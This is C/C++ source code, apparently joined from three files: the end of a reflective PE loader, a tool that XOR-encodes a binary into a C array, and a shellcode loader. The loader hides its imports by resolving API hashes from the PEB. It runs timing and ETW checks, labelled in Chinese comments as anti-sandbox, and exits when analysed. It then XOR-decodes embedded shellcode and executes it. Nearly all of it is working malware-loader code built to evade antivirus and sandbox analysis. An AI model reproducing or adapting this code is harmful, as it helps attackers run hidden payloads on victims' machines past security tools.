    if (headersSize)
        fRtlCopyMemory(pAlloc, fadd, headersSize);

    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)(&pNt64->OptionalHeader) + pNt64->FileHeader.SizeOfOptionalHeader);
    WORD SecNum = pNt64->FileHeader.NumberOfSections;
    for (WORD si = 0; si < SecNum; si++, pSec++)
    {
        DWORD rawSize = pSec->SizeOfRawData;
        DWORD virtSize = pSec->Misc.VirtualSize;
        DWORD copySize = rawSize;
        if (virtSize && virtSize < copySize) copySize = virtSize;
        if (copySize)
        {
            LPVOID src = (LPBYTE)fadd + pSec->PointerToRawData;
            LPVOID dst = (LPBYTE)pAlloc + pSec->VirtualAddress;
            fRtlCopyMemory(dst, src, copySize);
        }
        if (virtSize > copySize)
        {
            LPVOID dst = (LPBYTE)pAlloc + pSec->VirtualAddress + copySize;
            SIZE_T zeroSize = virtSize - copySize;
            fRtlZeroMemory(dst, zeroSize);
        }
    }

    ULONG_PTR imageBase = (ULONG_PTR)pNt64->OptionalHeader.ImageBase;
    LONG_PTR delta = (LONG_PTR)((ULONG_PTR)pAlloc - imageBase);

    DWORD relocVA = pNt64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
    DWORD relocSize = pNt64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
    if (relocVA && relocSize && delta != 0)
    {
        PIMAGE_BASE_RELOCATION pBase = (PIMAGE_BASE_RELOCATION)((LPBYTE)pAlloc + relocVA);
        DWORD processed = 0;
        while (processed < relocSize && pBase->SizeOfBlock)
        {
            DWORD count = (pBase->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
            PWORD entries = (PWORD)((LPBYTE)pBase + sizeof(IMAGE_BASE_RELOCATION));
            for (DWORD ei = 0; ei < count; ei++)
            {
                WORD entry = entries[ei];
                WORD type = entry >> 12;
                WORD offset = entry & 0x0FFF;
                ULONG_PTR patchAddr = (ULONG_PTR)((LPBYTE)pAlloc + pBase->VirtualAddress + offset);
                if (type == IMAGE_REL_BASED_DIR64)
                {
                    ULONG_PTR value = 0;
                    fRtlCopyMemory(&value, (LPVOID)patchAddr, sizeof(ULONG_PTR));
                    value += delta;
                    fRtlCopyMemory((LPVOID)patchAddr, &value, sizeof(ULONG_PTR));
                }
                else if (type == IMAGE_REL_BASED_HIGHLOW)
                {
                    DWORD value32 = 0;
                    fRtlCopyMemory(&value32, (LPVOID)patchAddr, sizeof(DWORD));
                    value32 = (DWORD)((LONG_PTR)value32 + delta);
                    fRtlCopyMemory((LPVOID)patchAddr, &value32, sizeof(DWORD));
                }
                else if (type == IMAGE_REL_BASED_ABSOLUTE)
                {
                }
            }
            processed += pBase->SizeOfBlock;
            pBase = (PIMAGE_BASE_RELOCATION)((LPBYTE)pBase + pBase->SizeOfBlock);
        }
    }

    DWORD importVA = pNt64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
    if (importVA)
    {
        PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)pAlloc + importVA);
        while (pImport->Name)
        {
            char* dllName = (char*)((LPBYTE)pAlloc + pImport->Name);
            HMODULE hMod = fLoadLibraryA(dllName);
            if (!hMod) return 0;

            LPVOID iatAddr = (LPBYTE)pAlloc + pImport->FirstThunk;
            LPVOID intAddr = (LPBYTE)pAlloc + (pImport->OriginalFirstThunk ? pImport->OriginalFirstThunk : pImport->FirstThunk);

            SIZE_T thunkCount = 0;
            // count
            {
                PULONG_PTR check = (PULONG_PTR)intAddr;
                while (*check) { thunkCount++; check++; }
            }

            DWORD oldProt;
            SIZE_T iatSize = thunkCount * sizeof(ULONG_PTR);
            LPVOID iatBase = (LPVOID)iatAddr;
            fVirtualProtect(iatBase, iatSize, PAGE_READWRITE, &oldProt);

            for (SIZE_T ti = 0; ti < thunkCount; ti++)
            {
#ifdef _WIN64
                ULONGLONG raw = ((PIMAGE_THUNK_DATA64)intAddr)[ti].u1.AddressOfData;
                if (raw & IMAGE_ORDINAL_FLAG64)
                {
                    FARPROC proc = fGetProcAddress(hMod, (LPCSTR)IMAGE_ORDINAL64(raw));
                    fRtlCopyMemory((LPBYTE)iatAddr + ti * sizeof(ULONG_PTR), &proc, sizeof(ULONG_PTR));
                }
                else
                {
                    PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME)((LPBYTE)pAlloc + (DWORD)raw);
                    FARPROC proc = fGetProcAddress(hMod, (LPCSTR)ibn->Name);
                    fRtlCopyMemory((LPBYTE)iatAddr + ti * sizeof(ULONG_PTR), &proc, sizeof(ULONG_PTR));
                }
#else
                DWORD raw = ((PIMAGE_THUNK_DATA32)intAddr)[ti].u1.AddressOfData;
                if (raw & IMAGE_ORDINAL_FLAG32)
                {
                    FARPROC proc = fGetProcAddress(hMod, (LPCSTR)IMAGE_ORDINAL32(raw));
                    fRtlCopyMemory((LPBYTE)iatAddr + ti * sizeof(ULONG_PTR), &proc, sizeof(ULONG_PTR));
                }
                else
                {
                    PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME)((LPBYTE)pAlloc + raw);
                    FARPROC proc = fGetProcAddress(hMod, (LPCSTR)ibn->Name);
                    fRtlCopyMemory((LPBYTE)iatAddr + ti * sizeof(ULONG_PTR), &proc, sizeof(ULONG_PTR));
                }
#endif
            }

            fVirtualProtect(iatBase, iatSize, oldProt, &oldProt);
            pImport++;
        }
    }

    DWORD tlsVA = pNt64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress;
    if (tlsVA)
    {
#ifdef _WIN64
        PIMAGE_TLS_DIRECTORY64 tls = (PIMAGE_TLS_DIRECTORY64)((LPBYTE)pAlloc + tlsVA);
        if (tls && tls->AddressOfCallBacks)
        {
            PULONG_PTR callbacks = (PULONG_PTR)((LPBYTE)tls->AddressOfCallBacks - (ULONG_PTR)imageBase + (ULONG_PTR)pAlloc);
            for (size_t ci = 0; callbacks[ci]; ci++)
            {
                void(*cb)(PVOID, DWORD, PVOID) = (void(*)(PVOID, DWORD, PVOID))callbacks[ci];
                cb(pAlloc, DLL_PROCESS_ATTACH, NULL);
            }
        }
#else
        PIMAGE_TLS_DIRECTORY32 tls = (PIMAGE_TLS_DIRECTORY32)((LPBYTE)pAlloc + tlsVA);
        if (tls && tls->AddressOfCallBacks)
        {
            PDWORD callbacks = (PDWORD)((LPBYTE)pAlloc + tls->AddressOfCallBacks);
            for (size_t ci = 0; callbacks[ci]; ci++)
            {
                void(*cb)(PVOID, DWORD, PVOID) = (void(*)(PVOID, DWORD, PVOID))callbacks[ci];
                cb(pAlloc, DLL_PROCESS_ATTACH, NULL);
            }
        }
#endif
    }

    SYSTEM_INFO si;
    fGetSystemInfo(&si);
    SIZE_T pageSize = si.dwPageSize;

    pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)(&pNt64->OptionalHeader) + pNt64->FileHeader.SizeOfOptionalHeader);
    for (WORD si2 = 0; si2 < SecNum; si2++, pSec++)
    {
        DWORD protect = 0;
        BOOL isExec = (pSec->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
        BOOL isWrite = (pSec->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
        BOOL isRead = (pSec->Characteristics & IMAGE_SCN_MEM_READ) != 0;
        if (isExec)
        {
            if (isRead && isWrite) protect = PAGE_EXECUTE_READWRITE;
            else if (isRead) protect = PAGE_EXECUTE_READ;
            else protect = PAGE_EXECUTE;
        }
        else
        {
            if (isRead && isWrite) protect = PAGE_READWRITE;
            else if (isRead) protect = PAGE_READONLY;
            else protect = PAGE_NOACCESS;
        }
        LPVOID sectStart = (LPBYTE)pAlloc + pSec->VirtualAddress;
        SIZE_T size = pSec->Misc.VirtualSize;
        if (size == 0) continue;
        ULONG_PTR base = (ULONG_PTR)sectStart & ~(pageSize - 1);
        SIZE_T len = ((size + ((ULONG_PTR)sectStart - base) + pageSize - 1) & ~(pageSize - 1));
        DWORD old = 0;
        fVirtualProtect((LPVOID)base, len, protect, &old);
    }

    if (fFlushInstructionCache)
        fFlushInstructionCache(fGetCurrentProcess(), pAlloc, ImageSize);

    DWORD entryRVA = pNt64->OptionalHeader.AddressOfEntryPoint;
    if (entryRVA == 0) return 1;

    FARPROC entryPoint = (FARPROC)((LPBYTE)pAlloc + entryRVA);
    if (pNt64->FileHeader.Characteristics & IMAGE_FILE_DLL)
    {
        typedef BOOL(WINAPI* DllMain_t)(HINSTANCE, DWORD, LPVOID);
        DllMain_t DllMain = (DllMain_t)entryPoint;
        DllMain((HINSTANCE)pAlloc, DLL_PROCESS_ATTACH, NULL);
    }
    else
    {
        void(*exeEntry)(void) = (void(*)(void))entryPoint;
        exeEntry();
    }

    return 1;
}

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[])
{
    FILE* fin, * fout;
    unsigned char byte;
    int count = 0;

    if (argc != 3)
        return 1;

    fin = fopen(argv[1], "rb");
    if (!fin)
        return 1;

    fout = fopen(argv[2], "w");
    if (!fout)
        return 1;

    fprintf(fout, "unsigned char code[] = {\n");

    while (fread(&byte, 1, 1, fin) == 1)
    {
        if (count % 16 == 0)
            fprintf(fout, "    ");

        fprintf(fout, "0x%02X,", byte ^ 0x56);
        count++;

        if (count % 16 == 0)
            fprintf(fout, "\n");
        else
            fprintf(fout, " ");
    }

    if (count % 16 != 0)
        fprintf(fout, "\n");

    fprintf(fout, "};\n");

    fclose(fin);
    fclose(fout);

    return 0;
}

#include<stdio.h>
#include<windows.h>	
#include <evntprov.h>
#include<stdbool.h>
#include <tlhelp32.h>
#include <intrin.h>
#include <winternl.h>

#include "C:\Users\Administrator\Desktop\exe\shellcode.h"
#include <cstdint>

#define ROL4(value, count) (((value) << (count)) | ((value) >> (32 - (count))))
#define ROR4(value, count) (((value) >> (count)) | ((value) << (32 - (count))))

typedef ULONG(WINAPI* EventRegister_t)(LPCGUID,PENABLECALLBACK,PVOID,PREGHANDLE);
typedef ULONG(WINAPI* EventUnregister_t)(REGHANDLE);
typedef FARPROC(WINAPI* GetProcAddress_t)(HMODULE, LPCSTR);
typedef HMODULE(WINAPI* LoadLibraryA_t)(LPCSTR);

FARPROC FindFuncByMODULE(HMODULE hModule, unsigned int FuncHash)
{
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    DWORD FunctionNums = pExportDirectory->NumberOfNames;
    DWORD* pFunctionNames = (DWORD*)((BYTE*)hModule + pExportDirectory->AddressOfNames);
    DWORD* pFunctionAddresses = (DWORD*)((BYTE*)hModule + pExportDirectory->AddressOfFunctions);
    WORD* pFunctionOrdinals = (WORD*)((BYTE*)hModule + pExportDirectory->AddressOfNameOrdinals);

    for (DWORD i = 0; i < FunctionNums; i++) {
        char* functionName = (char*)((BYTE*)hModule + pFunctionNames[i]);

        unsigned int ThisFuncHash = 0;
        char* p = (char*)functionName;

        while (*p)
        {
            ThisFuncHash = ROL4(ThisFuncHash, 13);
            if (*p >= 'a' && *p <= 'z')
                ThisFuncHash += *p - 0x20;
            else
                ThisFuncHash += *p;
            p++;
        }

        if (ThisFuncHash == FuncHash)
        {
            FARPROC functionRVA = (FARPROC)((BYTE*)hModule + pFunctionAddresses[pFunctionOrdinals[i]]);
            return functionRVA;
        }
    }
    return NULL;
}

HMODULE FindModuleByPEB(unsigned int MoudleHash)
{
    PTEB pTEB = (PTEB)__readgsqword(0x30);
    PPEB pPEB = pTEB->ProcessEnvironmentBlock;
    PPEB_LDR_DATA pLdr = pPEB->Ldr;

    PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;
    PLIST_ENTRY pCurrentEntry = pListHead->Flink;
    while (pCurrentEntry && pCurrentEntry != pListHead)
    {
        PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        if (pEntry && pEntry->FullDllName.Buffer)
        {
            wchar_t* dllName = pEntry->FullDllName.Buffer;

            wchar_t* fileName = NULL;
            wchar_t* temp = (wchar_t*)dllName;

            while (*temp) {
                if (*temp == L'\\') {
                    fileName = temp + 1;
                }
                temp++;
            }

            if (!fileName) {
                fileName = (wchar_t*)dllName;
            }

            unsigned int ThisFuncHash = 0;
            char* p = (char*)fileName;

            while (*p)
            {
                ThisFuncHash = ROL4(ThisFuncHash, 13);
                if (*p >= 'a' && *p <= 'z')
                    ThisFuncHash += *p - 0x20;
                else
                    ThisFuncHash += *p;
                p += 2;
            }

            if (ThisFuncHash == MoudleHash) {

                HMODULE hKernel32 = (HMODULE)pEntry->DllBase;

                return hKernel32;

            }
        }
        pCurrentEntry = pCurrentEntry->Flink;
    }

    return NULL;
}

class Module
{
public:
    unsigned int hModuleHash = NULL;
    HMODULE hModule = NULL;

    void Rc4(unsigned char* input, int input_len,unsigned char* key, int key_len);
};

void Module::Rc4(unsigned char* input, int input_len,unsigned  char* key, int key_len)
{
    int i = 0, j = 0, t = 0;
    unsigned  char s[256] = { 0 };
    unsigned char tmp = 0;
    for (i = 0; i < 256; i++) {
        s[i] = i;
    }
    for (i = 0; i < 256; i++) {
        j = (j + s[i] + key[i % key_len]) % 256;
        tmp = s[i];
        s[i] = s[j]; //交换s[i]和s[j]
        s[j] = tmp;
    }
    int q = 0;
    i = j = 0;
    for (q = 0; q < input_len; q++) {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;

        tmp = s[i];
        s[i] = s[j]; //交换s[x]和s[y]
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        input[q] ^= s[t];
    }
}

class Kernel32Module : public Module
{
public:
    Kernel32Module()
    {
        hModuleHash = 0x45a266c9;
        hModule = FindModuleByPEB(hModuleHash);

        pLoadLibraryA = (LoadLibraryA_t)FindFuncByMODULE(hModule, 0xb583c684);
        pGetProcAddress = (GetProcAddress_t)FindFuncByMODULE(hModule, 0x8ac5a822);
	}

    LoadLibraryA_t           pLoadLibraryA = NULL;
    GetProcAddress_t         pGetProcAddress = NULL;
};

class advapi32Module : public Module
{
public:
    advapi32Module(Kernel32Module* Ok);

    EventRegister_t pEventRegister = NULL;
    EventUnregister_t pEventUnregister = NULL;
};

advapi32Module::advapi32Module(Kernel32Module* Ok)
{
    hModuleHash = 0x9e1c99c5;
    hModule = FindModuleByPEB(hModuleHash);

    if (!hModule)
    {
        //unsigned char AdvStr[] = {0x67, 0x22, 0xee, 0x25, 0x5b, 0x19, 0x73, 0xb1, 0x7f, 0xa9, 0xf8, 0xdc,};
        //int Advlen = sizeof(AdvStr);
        //
        //unsigned char RegisterStr[] = { 0x89, 0x88, 0x65, 0xa2, 0xb8, 0xca, 0x9f, 0x9d, 0xc0, 0x06, 0xb8, 0x65, 0x72 };
        //int Reglen = sizeof(RegisterStr);

        //Rc4(RegisterStr, Reglen, (unsigned char*)&hModuleHash, 4);
        //Rc4(AdvStr, Advlen, (unsigned char*)&hModuleHash, 4);

        this->pEventRegister =(EventRegister_t) Ok->pGetProcAddress(Ok->pLoadLibraryA("advapi32.dll"), "EventRegister");
        this->pEventUnregister = (EventUnregister_t)Ok->pGetProcAddress(Ok->pLoadLibraryA("advapi32.dll"), "EventUnregister");
    }
}

advapi32Module* g_advapi32 = nullptr;
Kernel32Module* g_kernel32 = nullptr;

void LoopRegisterETW()
{
    if (!g_advapi32 || !g_advapi32->pEventRegister || !g_advapi32->pEventUnregister)
        return;

    GUID ProviderGuid =
    { 0xE13C0D23, 0xCCBC, 0x4E12,{0x93,0x1B,0xD9,0xCC,0x2E,0xEE,0x27,0xE4} };

    while(1)
    //for(int i = 0;i < 150 ; i++)
    {
        uint64_t t1 = __rdtsc();
        Sleep(1000);
        uint64_t t2 = __rdtsc();

        uint64_t delta = t2 - t1;
		
        //printf("Delta: 0x%llx\n", delta);

        uint64_t up = 0x8C000000;
        uint64_t down = 0x89000000;

        if (delta > up || delta < down)
        {
            //
            ExitProcess(0);
        }

        REGHANDLE hReg = 0;

        g_advapi32->pEventRegister(&ProviderGuid, NULL, NULL, &hReg);

        if (hReg)
            break;
    }

    return;
}

void QueryTimeChecker()
{
    LARGE_INTEGER freq;
    LARGE_INTEGER start, end;
    LONGLONG delta;

    QueryPerformanceFrequency(&freq);
    QueryPerformanceCounter(&start);

    Sleep(10000); 

    QueryPerformanceCounter(&end);

    delta = end.QuadPart - start.QuadPart;

    if (delta < freq.QuadPart * 9 || delta > freq.QuadPart * 11)
    {
        ExitProcess(0);
    }
}

void AllocManager()
{
	g_kernel32 = new Kernel32Module();

	g_advapi32 = new advapi32Module(g_kernel32);
}

void Runopcode()
{
    DWORD oldProtect;
    char* shellcode = (char*)code;

    for (int i = 0; i < sizeof(code); i++)
        code[i] ^= 0x56;

    VirtualProtect(code, sizeof(code), PAGE_EXECUTE_READ, &oldProtect);
    ((void(*)())shellcode)();
    return;
}

int main()
{
	AllocManager();
    //时间反沙箱
    QueryTimeChecker();
    
    //ETW 反虚拟执行 时间反沙箱2
    LoopRegisterETW();

    HANDLE Thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Runopcode, NULL, 0, NULL);

    WaitForSingleObject(Thread, INFINITE);

    return 0;
}